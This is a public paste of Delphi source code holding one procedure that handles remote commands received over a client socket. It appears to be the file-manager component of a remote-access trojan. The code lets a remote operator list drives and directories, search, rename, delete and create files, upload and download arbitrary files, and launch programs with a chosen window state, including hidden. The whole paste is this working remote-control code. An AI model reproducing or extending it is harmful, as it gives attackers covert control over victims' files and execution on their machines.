All pastes #939006 Raw Edit

D1N

public text v1 · immutable
·published 2008-03-11 23:58 UTC
rendered paste body
procedure ParseFileManager(Thread: TThread; Socket: TClientSocket; Frame: TCommandFrame; Stream: TMemoryStream);
var
  ReplyStream: TMemoryStream;
  Buffer: PChar;
  PBuffer: PChar;
  Drive: string;
  BufferSize, ReturnSize: dword;
  TypeBuffer: pointer;
  DriveCount: dword;
  FindData: TWIN32FindData;
  Path: string;
  FindStream: TMemoryStream;
  hFind: THandle;
  Application: string;
  Hidden: byte;
  FileStream: TFileStream;
begin
  case Frame.Command of
    F_DRIVES:
      begin
        BufferSize := 1;
        GetMem(Buffer, BufferSize);
        try
          ReturnSize := GetLogicalDriveStrings(BufferSize, Buffer);
          if ReturnSize > BufferSize then
          begin
            BufferSize := ReturnSize;
            ReallocMem(Buffer, BufferSize);
            GetLogicalDriveStrings(BufferSize, Buffer);
          end;
          PBuffer := Buffer;
          DriveCount := 0;
          GetMem(TypeBuffer, 4);
          try
            while PBuffer^ <> #0 do
            begin
              Inc(DriveCount);
              ReallocMem(TypeBuffer, DriveCount * 4);
              Drive := string(PBuffer);
              dword(pointer(dword(TypeBuffer) + ((DriveCount - 1) * 4))^) := GetDriveType(pchar(Drive));
              Inc(PBuffer, Length(PBuffer) + 1);
            end;
            DriveCount := DriveCount * 4;
            Frame.Len := 8 + BufferSize + DriveCount;
            ReplyStream := TMemoryStream.Create;
            ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame));
            ReplyStream.WriteBuffer(BufferSize, 4);
            ReplyStream.WriteBuffer(Buffer^, BufferSize);
            ReplyStream.WriteBuffer(DriveCount, 4);
            ReplyStream.WriteBuffer(TypeBuffer^, DriveCount);
            SendStream(Socket, ReplyStream);
            ReplyStream.Free;
          finally
            FreeMem(TypeBuffer);
          end;
        finally
          FreeMem(Buffer);
        end;
      end;
    F_LIST:
      begin
        SetLength(Path, Stream.Size);
        Stream.ReadBuffer(pointer(Path)^, Stream.Size);
        hFind := FindFirstFile(pchar(Path), FindData);
        if hFind = INVALID_HANDLE_VALUE then
        begin
          ReplyStream := TMemoryStream.Create;
          Frame.Len := 0;
          ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame));
          SendStream(Socket, ReplyStream);
          ReplyStream.Free;
          Exit;
        end;
        FindStream := TMemoryStream.Create;
        FindStream.WriteBuffer(FindData, SizeOf(TWIN32FindData));
        while FindNextFile(hFind, FindData) = True do FindStream.WriteBuffer(FindData, SizeOf(TWIN32FindData));
        ReplyStream := TMemoryStream.Create;
        Frame.Len := FindStream.Size;
        ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame));
        ReplyStream.CopyFrom(FindStream, 0);
        FindStream.Free;
        SendStream(Socket, ReplyStream);
        ReplyStream.Free;
      end;
    F_RENAMEDIR:
      begin
        SetLength(Path, Stream.Size);
        Stream.ReadBuffer(pointer(Path)^, Stream.Size);
        RenameDirectory(Split(Path, '|', 1), Split(Path, '|', 2));
      end;
    F_DELETEDIR:
      begin
        SetLength(Path, Stream.Size);
        Stream.ReadBuffer(pointer(Path)^, Stream.Size);
        DeleteDirectory(Path);
      end;
    F_RENAMEFILE:
      begin
        SetLength(Path, Stream.Size);
        Stream.ReadBuffer(pointer(Path)^, Stream.Size);
        MoveFile(pchar(Split(Path, '|', 1)), pchar(Split(Path, '|', 2)));
      end;
    F_DELETEFILE:
      begin
        SetLength(Path, Stream.Size);
        Stream.ReadBuffer(pointer(Path)^, Stream.Size);
        DeleteFile(pchar(Path));
      end;
    F_CREATEDIR:
      begin
        SetLength(Path, Stream.Size);
        Stream.ReadBuffer(pointer(Path)^, Stream.Size);
        CreateDirectory(pchar(Path), nil);
      end;
    F_EXECUTE:
      begin
        SetLength(Path, Stream.Size);
        Stream.ReadBuffer(pointer(Path)^, Stream.Size);
        Application := Split(Path, '|', 1);
        Hidden := StrToInt(Split(Path, '|', 2));
        WinExec(pchar(Application), Hidden);
      end;
    F_UPLOAD:
      begin
        Stream.ReadBuffer(BufferSize, 4);
        SetLength(Path, BufferSize);
        Stream.ReadBuffer(pointer(Path)^, BufferSize);
        FileStream := TFileStream.Create(Path, $FFFF);
        FileStream.CopyFrom(Stream, Stream.Size - Stream.Position);
        FileStream.Free;
        ReplyStream := TMemoryStream.Create;
        Frame.Len := 0;
        ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame));
        SendStream(Socket, ReplyStream);
        ReplyStream.Free;
      end;
    F_DOWNLOAD:
      begin
        SetLength(Path, Stream.Size);
        Stream.ReadBuffer(pointer(Path)^, Stream.Size);
        ReplyStream := TMemoryStream.Create;
        FileStream := TFileStream.Create(Path, $0000);
        DriveCount := Length(Path) + 1;
        Frame.Len := 4 + DriveCount + FileStream.Size;
        ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame));
        ReplyStream.WriteBuffer(DriveCount, 4);
        ReplyStream.WriteBuffer(pointer(Path)^, DriveCount);
        ReplyStream.CopyFrom(FileStream, 0);
        FileStream.Free;
        SendStream(Socket, ReplyStream);
        ReplyStream.Free;
      end;
    F_SEARCH:
      begin
        SetLength(Path, Stream.Size);
        Stream.ReadBuffer(pointer(Path)^, Stream.Size);
        FindStream := TMemoryStream.Create;
        SearchDirectories(Split(Path, '|', 1), Split(Path, '|', 2), FindStream);
        ReplyStream := TMemoryStream.Create;
        Frame.Len := FindStream.Size;
        ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame));
        ReplyStream.CopyFrom(FindStream, 0);
        FindStream.Free;
        SendStream(Socket, ReplyStream);
        ReplyStream.Free;
      end;
  end;
end;